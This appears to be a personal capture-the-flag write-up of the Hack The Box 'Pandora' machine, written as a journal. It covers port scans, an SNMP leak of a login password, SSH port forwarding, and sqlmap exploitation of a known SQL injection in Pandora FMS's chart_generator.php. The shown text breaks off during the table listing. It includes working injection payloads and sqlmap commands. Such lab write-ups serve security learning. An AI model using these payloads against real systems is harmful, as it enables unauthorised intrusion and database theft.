HTB: Pandora Writeup
May 1, 2022
26 minute read

Overview

Writeup for the Pandora machine on hackthebox.com. I tried to format this document as a journal of sorts, documenting progress, thoughts and discoveries as I uncovered them.

This challenge took me a few days, and I got stuck more than a few times along the way. I cheated by reading some other writeups to get unstuck. Don’t get discouraged, this was fun and challenging. The goal is to learn!

Enumeration

nmap Port Scan

$ nmap -p- -sV 10.10.11.136
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-30 22:08 CDT
Nmap scan report for panda.htb (10.10.11.136)
Host is up (0.052s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 72.98 seconds

Exploring the Web Application on :80

Some sort of product website mentions panda.htb, added that to my host file, but it resolves to the same site.

Wappalyzer

Nothing too interesting here, looks like a basic site using basic frontend libraries and apache 2.4.41, which we already learned from nmap.

curl headers

$ curl -v 10.10.11.136 -o /dev/null
*   Trying 10.10.11.136:80...
* TCP_NODELAY set
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Connected to 10.10.11.136 (10.10.11.136) port 80 (#0)
> GET / HTTP/1.1
> Host: 10.10.11.136
> User-Agent: curl/7.68.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 01 May 2022 02:44:32 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Last-Modified: Fri, 03 Dec 2021 14:00:31 GMT
< ETag: "8318-5d23e548bc656"
< Accept-Ranges: bytes
< Content-Length: 33560
< Vary: Accept-Encoding
< Content-Type: text/html
< 
{ [2297 bytes data]
100 33560  100 33560    0     0   208k      0 --:--:-- --:--:-- --:--:--  208k
* Connection #0 to host 10.10.11.136 left intact

gobuster

$ gobuster dir --url http://panda.htb --wordlist ../../SecLists/Discovery/Web-Content/directory-list-2.3-small.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://panda.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                ../../SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/04/30 21:54:12 Starting gobuster in directory enumeration mode
===============================================================
/assets               (Status: 301) [Size: 307] [--> http://panda.htb/assets/]
                                                                              
===============================================================
2022/04/30 22:01:57 Finished
===============================================================

nothing!

Contact Form/SQL Injection

The contact firm us suspect. I started throwing junk into the form fields to see if it would do anything weird.

When the form posts, it does something like the following (showing in fethc format for clarity)

await fetch("http://panda.htb/index.html?fullName=sdfvsd&email=sdvsd%40sdcd.com&phone=sdfvsdvf&message=sdfvsdvf", {
    "credentials": "omit",
    "headers": {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Upgrade-Insecure-Requests": "1",
        "Pragma": "no-cache",
        "Cache-Control": "no-cache"
    },
    "referrer": "http://panda.htb/index.html",
    "method": "GET",
    "mode": "cors"
});

Can’t seem to get this to break. Tried a couple of nasty strings from https://github.com/payloadbox/sql-injection-payload-list but no luck.

Email Test

I thought maybe the form would send an email with some more interesing links. Not wanting to provide my personal email, I found https://temp-mail.org/en/, which instantly generates a temp email address and monitors that address for email. All in < 10s.

ssh

Attempted some basic ssh creds just to be sure root:root root:password. Glad it wasn’t that easy.


At this point I was a little stuck. Nothing seemed to be working. So I cheated and googled around for Pandora HTB guides, and stumbled upon a writeup that mentioned scanning UDP. But didn’t I already do that? Turns out I hadn’t because you have to tell nmap to scan udp ports using a flag.

Newb mistake: nmap does not scan UDP ports by default. I really need to get better acquainted with the different nmap scan flags. To have it scan UDP you need to use -sU


UDP Scan

$ sudo nmap -sUV -F 10.10.11.136
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-30 22:32 CDT
Got nsock WRITE error #101 (Network is unreachable)
Got nsock WRITE error #101 (Network is unreachable)
Got nsock WRITE error #101 (Network is unreachable)
Got nsock WRITE error #101 (Network is unreachable)
Got nsock WRITE error #101 (Network is unreachable)
Got nsock WRITE error #101 (Network is unreachable)
Got nsock WRITE error #101 (Network is unreachable)
Got nsock WRITE error #101 (Network is unreachable)
Got nsock WRITE error #101 (Network is unreachable)
Got nsock WRITE error #101 (Network is unreachable)
Got nsock WRITE error #101 (Network is unreachable)
Got nsock WRITE error #101 (Network is unreachable)
Nmap scan report for panda.htb (10.10.11.136)
Host is up (0.050s latency).
Not shown: 88 closed ports
PORT      STATE         SERVICE        VERSION
49/udp    open|filtered tacacs
161/udp   open          snmp?
427/udp   open|filtered svrloc
518/udp   open|filtered ntalk
626/udp   open|filtered serialnumberd
1023/udp  open|filtered unknown
1813/udp  open|filtered radacct
4444/udp  open|filtered krb524
17185/udp open|filtered wdbrpc
32771/udp open|filtered sometimes-rpc6
49190/udp open|filtered unknown
49191/udp open|filtered unknown

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 227.77 seconds

AHA! Looks like snmp is available.

Exploring SNMP

After some google searching I found an interesting tool called snmpcheck which was created by Matteo Cantoni - http://www.nothink.org/.

I tried to install it from apt, but I was getting errors having to do with deps when I ran it. So instead of trying to solve all that, I just used a prebuilt docker image.

Output truncated for brevity.

Note: truncated for brevity, see snmpcheck.txt for more information.

$ docker run --rm -ti katta/snmpcheck 10.10.11.136           
snmpcheck.rb v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)

[+] Try to connect to 10.10.11.136:161 using SNMPv1 and community 'public'

[*] System information:

  Host IP address               : 10.10.11.136
  Hostname                      : pandora
  Description                   : Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64
  Contact                       : Daniel
  Location                      : Mississippi
  Uptime snmp                   : 00:48:40.12
  Uptime system                 : 00:48:29.92
  System date                   : 2022-5-1 04:04:42.0

  ...

[*] TCP connections and listening ports:

  Local address         Local port            Remote address        Remote port           State               
  0.0.0.0               22                    0.0.0.0               0                     listen              
  10.10.11.136          22                    10.10.14.134          45720                 established         
  10.10.11.136          53350                 1.1.1.1               53                    synSent             
  127.0.0.1             3306                  0.0.0.0               0                     listen              
  127.0.0.53            53                    0.0.0.0               0                     listen              

[*] Listening UDP ports:

  Local address         Local port          
  0.0.0.0               161                 
  127.0.0.53            53   

...

[*] Processes:

  Id                    Status                Name                  Path                  Parameters          
...
  835                   runnable              apache2               /usr/sbin/apache2     -k start            
  837                   running               snmpd                 /usr/sbin/snmpd       -LOw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f -p /run/snmpd.pid
  843                   runnable              sshd                  sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups                      
  958                   runnable              mysqld                /usr/sbin/mysqld                          
  1126                  runnable              host_check            /usr/bin/host_check   -u daniel -p HotelBabylon23
  2185                  runnable              sshd                  sshd: daniel@pts/0                        

Findings

  1. There’s a mysql service running which we can see both from the process list and listening TCP ports.
  2. looks like we have a leaked credential on a process called host_check daniel:HotelBabylon23
  3. sshd is maybe running as the daniel user?

Foothold

ssh session

Let’s use the credentials we found from the snmp listing to try and get an ssh session.

$ ssh daniel@10.10.11.136
daniel@10.10.11.136's password: HotelBabylon23
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun  1 May 04:18:38 UTC 2022

  System load:           0.0
  Usage of /:            63.0% of 4.87GB
  Memory usage:          8%
  Swap usage:            0%
  Processes:             222
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.136
  IPv6 address for eth0: dead:beef::250:56ff:feb9:c26a

  => /boot is using 91.8% of 219MB


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun May  1 03:44:40 2022 from 10.10.14.134
daniel@pandora:~$ 

booyah!

host_check

host_check was the bin that was spit out via snmpcheck. I wasn’t familiar with so let’s see what we can find out.

$ which host_check
/usr/bin/host_check

$ file host_check
/usr/bin/host_check: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c1405fc37fbf335b24d79d20f99671c9b2395cac, for GNU/Linux 3.2.0, not stripped

$ host_check -h
Ussage: ./host_check -u username -p password.

$ host_check -u daniel -p HotelBabylon23
PandoraFMS host check utility
Now attempting to check PandoraFMS registered hosts.
Files will be saved to ~/.host_check

$ cat ~/.host_check
1;localhost.localdomain;192.168.1.42;Created by localhost.localdomain;Linux;;09fbaa6fdf35afd44f8266676e4872f299c1d3cbb9846fbe944772d913fcfc69;3
2;localhost.localdomain;;Pandora FMS Server version 7.0NG.742_FIX_PERL2020;Linux;;localhost.localdomain;3

hmmmm. I wonder if there’s a website on localhost?

http://localhost

curl -v localhost
*   Trying ::1:80...
* TCP_NODELAY set
* Connected to localhost (::1) port 80 (#0)
> GET / HTTP/1.1
> Host: localhost
> User-Agent: curl/7.68.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 01 May 2022 04:28:36 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Last-Modified: Fri, 11 Jun 2021 14:55:39 GMT
< ETag: "3f-5c47eb370f0c0"
< Accept-Ranges: bytes
< Content-Length: 63
< Content-Type: text/html
< 
<meta HTTP-EQUIV="REFRESH" content="0; url=/pandora_console/">
* Connection #0 to host localhost left intact

interesting!

curl -v localhost/pandora_console/ -o /dev/null
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying ::1:80...
* TCP_NODELAY set
* Connected to localhost (::1) port 80 (#0)
> GET /pandora_console/ HTTP/1.1
> Host: localhost
> User-Agent: curl/7.68.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 01 May 2022 04:29:12 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Set-Cookie: PHPSESSID=oomg1mhrmae7k8pge1q9uhqkru; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Set-Cookie: errormsg=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8
< 
{ [13675 bytes data]
100 13674    0 13674    0     0   494k      0 --:--:-- --:--:-- --:--:--  494k
* Connection #0 to host localhost left intact

SSH local port forwarding

Let’s see if we can get this pulled up in a local browser. We’re going to need to do some sort of port forwarding, and since we have an ssh connection, we should be able to use it’s remote forwarding feature.

$ ssh -L 8080:localhost:80 daniel@10.10.11.136

And now we have access to an admin panel on our host machine via http://localhost:8080.

Apache Configuration

$ cat /etc/apache2/sites-available/pandora.conf 
<VirtualHost localhost:80>
  ServerAdmin admin@panda.htb
  ServerName pandora.panda.htb
  DocumentRoot /var/www/pandora
  AssignUserID matt matt
  <Directory /var/www/pandora>
    AllowOverride All
  </Directory>
  ErrorLog /var/log/apache2/error.log
  CustomLog /var/log/apache2/access.log combined
</VirtualHost>

AssignUserID matt matt is interesting, I bet we can use that to spit out the user.txt file.

PandoraFMS Admin Panel

Logging in with this daniel credential results in an error that daniel is only an api user. Other accounts give a different error message, so that’s worth something.

source code

$ cd /var/www
$ ls
html pandora
$ cd pandora
$ ls
index.html  pandora_console
$ cd pandora_console
$ ls -la
total 1672
drwxr-xr-x 16 matt matt    4096 Dec  7 14:32 .
drwxr-xr-x  3 matt matt    4096 Dec  7 14:32 ..
-rw-r--r--  1 matt matt    3746 Jan  3  2020 ajax.php
drwxr-xr-x  6 matt matt    4096 Dec  7 14:32 attachment
-rw-r--r--  1 matt matt    1175 Jun 17  2021 audit.log
-rw-r--r--  1 matt matt     534 Jan  3  2020 AUTHORS
-rw-r--r--  1 matt matt     585 Jan  3  2020 composer.json
-rw-r--r--  1 matt matt   16003 Jan  3  2020 composer.lock
-rw-r--r--  1 matt matt   14875 May 17  2019 COPYING
-rw-r--r--  1 matt matt     506 Jan  3  2020 DB_Dockerfile
drwxr-xr-x  2 matt matt    4096 Dec  7 14:32 DEBIAN
-rw-r--r--  1 matt matt    3366 Jan  3  2020 docker_entrypoint.sh
-rw-r--r--  1 matt matt    1263 Jan  3  2020 Dockerfile
drwxr-xr-x 11 matt matt    4096 Dec  7 14:32 extensions
drwxr-xr-x  4 matt matt    4096 Dec  7 14:32 extras
drwxr-xr-x  2 matt matt    4096 Dec  7 14:32 fonts
drwxr-xr-x  5 matt matt    4096 Dec  7 14:32 general
drwxr-xr-x 20 matt matt    4096 Dec  7 14:32 godmode
drwxr-xr-x 21 matt matt   36864 Dec  7 14:32 images
drwxr-xr-x 21 matt matt    4096 Dec  7 14:32 include
-rw-r--r--  1 matt matt   52704 Dec  2 12:06 index.php
-rw-r--r--  1 matt matt   42398 Jan  3  2020 install.done
drwxr-xr-x  5 matt matt    4096 Dec  7 14:32 mobile
drwxr-xr-x 15 matt matt    4096 Dec  7 14:32 operation
-rw-r--r--  1 matt matt   74928 May  1 04:38 pandora_console.log
-rw-r--r--  1 matt matt     234 May 17  2019 pandora_console_logrotate_centos
-rw-r--r--  1 matt matt     171 May 17  2019 pandora_console_logrotate_suse
-rw-r--r--  1 matt matt     222 May 17  2019 pandora_console_logrotate_ubuntu
-rw-r--r--  1 matt matt    4883 May 17  2019 pandora_console_upgrade
-rw-r--r--  1 matt matt 1168598 Jan  3  2020 pandoradb_data.sql
-rw-r--r--  1 matt matt  160283 Jan  3  2020 pandoradb.sql
-rw-r--r--  1 matt matt     476 Jan  3  2020 pandora_websocket_engine.service
drwxr-xr-x  3 matt matt    4096 Dec  7 14:32 tests
drwxr-xr-x  2 matt matt    4096 Dec  7 14:32 tools
drwxr-xr-x 11 matt matt    4096 Dec  7 14:32 vendor
-rw-r--r--  1 matt matt    4856 Jan  3  2020 ws.php

Hmmm a user named matt. let’s play with that for a sec, can we su to that user or check his home directory for anything interesting.

$ su - matt
Password: HotelBabylon23
su: Authentication failure

$ ls /home/matt
user.txt

$ cat /home/matt/user.txt 
cat: /home/matt/user.txt: Permission denied

OK, we’re getting close!

Back to the source code, maybe we can find something in a config file somewhere.

$ grep config index.php
...
    // If no config file, automatically try to install.
    if (! file_exists('include/config.php')) {
...
$ cat include/config.php
cat: include/config.php: Permission denied

After digging into some more source code, PandoraFMS seems like a real product. See: https://github.com/pandorafms/pandorafms I’m going to guess there’s nothing really interesting going on here for now in terms of the source code. Let’s move on to CVEs.

CVE Research

And checking for CVE there’s an interesting one: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0507 - This feels a little too recent.

Here’s a nice list of CVE’s for this product: http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=Pandora%20FMS

Text searching that page for “injection” gives us a few leads:

  • CVE-2021-32099: A SQL injection vulnerability in the pandora_console component of Artica Pandora FMS 742 allows an unauthenticated attacker to upgrade his unprivileged session via the /include/chart_generator.php session_id parameter, leading to a login bypass.
  • CVE-2020-26518: Artica Pandora FMS before 743 allows unauthenticated attackers to conduct SQL injection attacks via the pandora_console/include/chart_generator.php session_id parameter.

Double checking the footer on the login screen we can see this box is running v7.0NG.742_FIX_PERL2020, which im guessing is 742.

SQL Injection w/ sqlmap

Wow, sqlmap is a really great tool. You give it a URL and it will try to find injection points, and that’s just the beginning.

Reading the description of CVE-2020-26518 says the injection can happen on the pandora_console/include/chart_generator.php session_id param.

First let’s setup an alias for sqlmap since we’re using it via docker, and its a pain to work with those long docker names.

# .bashrc or .zshrc
alias sqlmap="docker run --net host --rm -it -v /tmp/sqlmap:/root/.sqlmap/ paoloo/sqlmap"

Now let’s see if sqlmap can discover the injection point. (The following took about 7 minutes).

$ sqlmap --url "localhost:8080/pandora_console/include/chart_generator.php?session_id=''"
         _
 ___ ___| |_____ ___ ___  {1.0.9.32#dev}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 07:24:01

[07:24:02] [INFO] testing connection to the target URL
[07:24:02] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[07:24:02] [INFO] testing if the target URL is stable
[07:24:03] [INFO] target URL is stable
[07:24:03] [INFO] testing if GET parameter 'session_id' is dynamic
[07:24:03] [WARNING] GET parameter 'session_id' does not appear dynamic
[07:24:03] [INFO] heuristic (basic) test shows that GET parameter 'session_id' might be injectable (possible DBMS: 'MySQL')
[07:24:03] [INFO] heuristic (XSS) test shows that GET parameter 'session_id' might be vulnerable to cross-site scripting attacks
[07:24:03] [INFO] testing for SQL injection on GET parameter 'session_id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 
[07:24:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[07:24:13] [WARNING] reflective value(s) found and filtering out
[07:24:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[07:24:21] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[07:24:31] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)'
[07:24:38] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[07:24:39] [INFO] GET parameter 'session_id' appears to be 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable (with --not-string="SQL")
[07:24:39] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[07:24:39] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (BIGINT UNSIGNED)'
[07:24:39] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[07:24:40] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (EXP)'
[07:24:40] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[07:24:40] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE, HAVING clause (JSON_KEYS)'
[07:24:40] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[07:24:40] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[07:24:40] [INFO] GET parameter 'session_id' is 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
[07:24:40] [INFO] testing 'MySQL inline queries'
[07:24:40] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[07:24:40] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[07:24:41] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[07:24:41] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[07:24:41] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[07:24:41] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[07:24:41] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[07:24:41] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind'
[07:25:11] [WARNING] turning off pre-connect mechanism because of connection time out(s)
[07:25:41] [INFO] GET parameter 'session_id' appears to be 'MySQL >= 5.0.12 OR time-based blind' injectable 
[07:25:41] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[07:25:41] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[07:25:41] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[07:25:42] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[07:25:42] [INFO] target URL appears to have 3 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] 
[07:25:54] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
[07:25:54] [INFO] testing 'MySQL UNION query (34) - 21 to 40 columns'
[07:25:58] [INFO] testing 'MySQL UNION query (34) - 41 to 60 columns'
[07:26:02] [INFO] testing 'MySQL UNION query (34) - 61 to 80 columns'
[07:26:05] [INFO] testing 'MySQL UNION query (34) - 81 to 100 columns'
GET parameter 'session_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 345 HTTP(s) requests:
---
Parameter: session_id (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: session_id=''' RLIKE (SELECT (CASE WHEN (7980=7980) THEN 0x2727 ELSE 0x28 END))-- FWHp

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: session_id=''' OR (SELECT 8604 FROM(SELECT COUNT(*),CONCAT(0x7171717671,(SELECT (ELT(8604=8604,1))),0x7171627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- dREj

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: session_id=''' OR SLEEP(5)-- VzZo
---
[07:26:14] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0
[07:26:14] [INFO] fetched data logged to text files under '/root/.sqlmap/output/localhost'

[*] shutting down at 07:26:14

Great! it found that the session_id field is vulnerable.

Another neat thing about this tool is that it retains state. Next time you try and do something with this route, it will pick up where it left off.

Let’s list out the databases, and tell it to assume mysql as the backend, since we know mysqld is running from our scans above.

$ sqlmap --url "localhost:8080/pandora_console/include/chart_generator.php?session_id=''" --dbms mysql --dbs
         _
 ___ ___| |_____ ___ ___  {1.0.9.32#dev}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 07:34:49

[07:34:49] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: session_id (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: session_id=''' RLIKE (SELECT (CASE WHEN (7980=7980) THEN 0x2727 ELSE 0x28 END))-- FWHp

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: session_id=''' OR (SELECT 8604 FROM(SELECT COUNT(*),CONCAT(0x7171717671,(SELECT (ELT(8604=8604,1))),0x7171627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- dREj

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: session_id=''' OR SLEEP(5)-- VzZo
---
[07:34:49] [INFO] testing MySQL
[07:34:49] [INFO] confirming MySQL
[07:34:49] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[07:34:49] [INFO] fetching database names
[07:34:49] [INFO] the SQL query used returns 2 entries
[07:34:49] [INFO] resumed: information_schema
[07:34:49] [INFO] resumed: pandora
available databases [2]:
[*] information_schema
[*] pandora

[07:34:49] [INFO] fetched data logged to text files under '/root/.sqlmap/output/localhost'

[*] shutting down at 07:34:49

Cool, so it found:

  • information_schema
  • pandora

Let’s check the tables for pandora.

Output shortened for brevity.

$ sqlmap --url "localhost:8080/pandora_console/include/chart_generator.php?session_id=''" --dbms mysql -D pandora --tables 

web server operating system: Linux Ubuntu
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[07:35:11] [INFO] fetching tables for database: 'pandora'
[07:35:11] [WARNING] reflective value(s) found and filtering out
[07:35:11] [INFO] the SQL query used returns 178 entries
...
[07:35:11] [INFO] retrieved: [TABLE NAMES]
...
Database: pandora
[178 tables]
+------------------------------------+
| taddress                           |
| taddress_agent                     |
| tagent_access                      |
| tagent_custom_data                 |
| tagent_custom_fields               |
| tagent_custom_fields_filter        |
| tagent_module_inventory            |
| tagent_module_log                  |
| tagent_repository                  |
| tagent_secondary_group             |
| tagente                            |
| tagente_datos                      |
| tagente_datos_inc                  |
| tagente_datos_inventory            |
| tagente_datos_log4x                |
| tagente_datos_string               |
| tagente_estado                     |
| tagente_modulo                     |
| talert_actions                     |
| talert_commands                    |
| talert_snmp                        |
| talert_snmp_action                 |
| talert_special_days                |
| talert_template_module_actions     |
| talert_template_modules            |
| talert_templates                   |
| tattachment                        |
| tautoconfig                        |
| tautoconfig_actions                |
| tautoconfig_rules                  |
| tcategory                          |
| tcluster                           |
| tcluster_agent                     |
| tcluster_item                      |
| tcollection                        |
| tconfig                            |
| tconfig_os                         |
| tcontainer                         |
| tcontainer_item                    |
| tcredential_store                  |
| tdashboard                         |
| tdatabase                          |
| tdeployment_hosts                  |
| tevent_alert                       |
| tevent_alert_action                |
| tevent_custom_field                |
| tevent_extended                    |
| tevent_filter                      |
| tevent_response                    |
| tevent_rule                        |
| tevento                            |
| textension_translate_string        |
| tfiles_repo                        |
| tfiles_repo_group                  |
| tgis_data_history                  |
| tgis_data_status                   |
| tgis_map                           |
| tgis_map_connection                |
| tgis_map_has_tgis_map_con          |
| tgis_map_layer                     |
| tgis_map_layer_groups              |
| tgis_map_layer_has_tagente         |
| tgraph                             |
| tgraph_source                      |
| tgraph_source_template             |
| tgraph_template                    |
| tgroup_stat                        |
| tgrupo                             |
| tincidencia                        |
| titem                              |
| tlanguage                          |
| tlayout                            |
| tlayout_data                       |
| tlayout_template                   |
| tlayout_template_data              |
| tlink                              |
| tlocal_component                   |
| tlog_graph_models                  |
| tmap                               |
| tmensajes                          |
| tmetaconsole_agent                 |
| tmetaconsole_agent_secondary_group |
| tmetaconsole_event                 |
| tmetaconsole_event_history         |
| tmetaconsole_setup                 |
| tmigration_module_queue            |
| tmigration_queue                   |
| tmodule                            |
| tmodule_group                      |
| tmodule_inventory                  |
| tmodule_relationship               |
| tmodule_synth                      |
| tnetflow_filter                    |
| tnetflow_report                    |
| tnetflow_report_content            |
| tnetwork_component                 |
| tnetwork_component_group           |
| tnetwork_map                       |
| tnetwork_matrix                    |
| tnetwork_profile                   |
| tnetwork_profile_component         |
| tnetworkmap_ent_rel_nodes          |
| tnetworkmap_enterprise             |
| tnetworkmap_enterprise_nodes       |
| tnews                              |
| tnota                              |
| tnotification_group                |
| tnotification_source               |
| tnotification_source_group         |
| tnotification_source_group_user    |
| tnotification_source_user          |
| tnotification_user                 |
| torigen                            |
| tpassword_history                  |
| tperfil                            |
| tphase                             |
| tplanned_downtime                  |
| tplanned_downtime_agents           |
| tplanned_downtime_modules          |
| tplugin                            |
| tpolicies                          |
| tpolicy_agents                     |
| tpolicy_alerts                     |
| tpolicy_alerts_actions             |
| tpolicy_collections                |
| tpolicy_groups                     |
| tpolicy_modules                    |
| tpolicy_modules_inventory          |
| tpolicy_plugins                    |
| tpolicy_queue                      |
| tprofile_view                      |
| tprovisioning                      |
| tprovisioning_rules                |
| trecon_script                      |
| trecon_task                        |
| trel_item                          |
| tremote_command                    |
| tremote_command_target             |
| treport                            |
| treport_content                    |
| treport_content_item               |
| treport_content_item_temp          |
| treport_content_sla_com_temp       |
| treport_content_sla_combined       |
| treport_content_template           |
| treport_custom_sql                 |
| treport_template                   |
| treset_pass                        |
| treset_pass_history                |
| tserver                            |
| tserver_export                     |
| tserver_export_data                |
| tservice                           |
| tservice_element                   |
| tsesion                            |
| tsesion_extended                   |
| tsessions_php                      |
| tskin                              |
| tsnmp_filter                       |
| ttag                               |
| ttag_module                        |
| ttag_policy_module                 |
| ttipo_modulo                       |
| ttransaction                       |
| ttrap                              |
| ttrap_custom_values                |
| tupdate                            |
| tupdate_journal                    |
| tupdate_package                    |
| tupdate_settings                   |
| tuser_double_auth                  |
| tuser_task                         |
| tuser_task_scheduled               |
| tusuario                           |
| tusuario_perfil                    |
